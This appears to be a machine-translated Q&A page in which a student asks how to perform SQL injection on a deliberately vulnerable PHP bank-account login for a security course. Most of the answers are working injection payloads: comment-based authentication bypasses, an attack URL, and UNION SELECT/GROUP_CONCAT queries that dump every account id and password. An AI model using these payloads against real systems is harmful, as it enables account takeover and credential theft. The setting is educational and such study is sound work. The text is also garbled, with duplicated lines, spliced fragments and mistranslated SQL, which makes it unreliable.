用php进行SQL注入攻击
这是我计算机安全课作业的一部分,所以我不是在寻找具体的答案,只是寻求一些帮助 我们得到了一个错误的程序(在php中)来控制sql数据库(银行帐户),我们必须找到一种方法来创建sql注入攻击,让我们在不提前知道帐户ID的情况下登录帐户 我很确定我知道漏洞在哪里,但我似乎无法让我的攻击发挥作用 所讨论的代码(有点长,但唯一重要的部分是第一部分): 我在ID输入中尝试了几个字符串(我正在使用浏览器),例如 尝试注释掉命令的密码部分。我对SQL非常陌生,所以我想我只是把它格式化错了用php进行SQL注入攻击,php,mysql,sql,sql-injection,Php,Mysql,Sql,Sql Injection,这是我计算机安全课作业的一部分,所以我不是在寻找具体的答案,只是寻求一些帮助 我们得到了一个错误的程序(在php中)来控制sql数据库(银行帐户),我们必须找到一种方法来创建sql注入攻击,让我们在不提前知道帐户ID的情况下登录帐户 我很确定我知道漏洞在哪里,但我似乎无法让我的攻击发挥作用 所讨论的代码(有点长,但唯一重要的部分是第一部分): 我在ID输入中尝试了几个字符串(我正在使用浏览器),例如 尝试注释掉命令的密码部分。我对SQL非常陌生,所以我想我只是把它格式化错了 或者我完全忽略了一个
或者我完全忽略了一个更明显的漏洞。你在上学,我不想给你答案P 考虑到查询未参数化的事实 注意撇号的位置 请记住这个问题:
Select field
FROM table
WHERE field = '<-- Note these -->'
SELECT * FROM accounts WHERE id = id -- AND password = '$password'
选择字段
从桌子上
其中字段=“”
不过你走对了路
课程
总是,总是,如果可以,总是使用参数化查询。PDO也是在PHP中访问DBs的好方法
示例
anything'或'x'='x
您需要确保注释掉查询的其余部分,这样引号就不会绊倒您,任何额外的子句都会被忽略
尝试将ID设置为:
0 OR id=id --
--
(即连字符,连字符,空格:空格很重要)是MySQL中的一条注释。黑客攻击并不好,但是:
SELECT * FROM accounts WHERE id = $id AND password = '$password'"
在一个id字段中
1 --
2 --
或
这样,您就可以作为每个用户登录了基本上,您可以使用
GET
或POST
进行攻击。GET方法要简单得多,只需使用所需的SQL创建一个名为id
的URL参数即可
http://www.somesite.com/FCCU.php?id=id --
您可能需要对其进行URI编码,只需先尝试未编码即可。然后,服务器将运行查询:
Select field
FROM table
WHERE field = '<-- Note these -->'
SELECT * FROM accounts WHERE id = id -- AND password = '$password'
由于密码条件被注释掉,并且其中id=id
相当于其中TRUE
,因此其工作方式与以下相同:
SELECT * FROM accounts
然后,该查询的返回值存储在一个变量中,该变量包含站点数据库中每个人的所有帐户信息。因为他们正在将该变量传递给调试函数,所以您只需打开调试模式,就可以看到每个人的机密登录和密码信息。利用SQL注入是一种提供值的艺术,当将这些值合并到SQL语句中时,生成有效的SQL语句语法,同时将开发人员想要的语义更改为对攻击者有利的语义 现在,如果我们看一下您的id为
100或id=id的尝试代码>和密码,生成的SQL如下所示:
SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'
100 OR id=id OR id
现在您可以看到,这有两个问题:
只支持执行一条语句,如果有多条语句,则抛出错误
即使支持多条语句,返回值也将是第二条语句的结果,这显然是无效的
所以要解决这个问题,最简单的方法是插入一个,它的语法是#
或--
()用于注释,直到行结束。因此,您可以使用以下之一作为id:
或者您插入一个独立的或子句,但没有如下注释:
SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'
100 OR id=id OR id
这将导致:
SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'
在这里,id=id
对于每一行都是正确的。您可以将其作为id输入(例如id为123的帐户):
诀窍在于,第二部分的计算结果为FALSE,因此您只能得到id=123作为结果。使用true条件将导致所有行,因此如果对表进行排序,则可能会得到id=1
下一步是检查生成的页面,并查看隐藏密码字段。然后,您将能够使用正确的id和密码发送更多查询。内容包括
然而,我注意到,在最初的问题中,有一点是“让我们在事先不知道帐户ID的情况下登录帐户”
假设您预先知道名称(但不知道id),那么您可以将id设置为如下所示
0 OR (first='joe' AND last='bloggs') --
我还倾向于将密码设置为以下内容:-
' OR (first='joe' AND last='bloggs') --
这样,在用户ID之前检查密码的查询(例如,余额检查)也可以工作
为了让你开心,你可以尝试一些其他有趣的东西。将id设置为类似以下内容:-
0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') --
' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') --
以及类似以下内容的密码:-
0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') --
' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') --
然后在account_info函数中输出实际密码(您可能需要再添加几次“、password”,以便列计数与accounts表中的列数匹配)
或者,如果您需要所有ID:-
0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts --
密码和密码:-
' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts --
类似这样的内容应该为您提供系统中的所有ID和密码(取决于组_CONCAT的最大长度限制)。这样你就可以用你想要的id和密码登录了
我复制了您的脚本并创建了一个测试表,上面的工作正常。您的思路是正确的,但在使用OR子句之前,需要在SQL中结束字符串,仅此一点在语法上是不正确的-您还需要注释掉sql查询的其余部分以避免语法错误。这些sql查询中的任何一个都是在注入中打开的。将ID设置为0或1=1;——代码>。--
是MySQL中的注释。或者更有趣的是,将ID设置为有效ID,将密码设置为”或1=1;——
@RocketHazmat试图更新您的答案,但您已将其删除?唯一的问题是它需要在OR之前加上一些东西,否则它看起来像WHERE id=OR id=id;——
@MrCode:我删除了an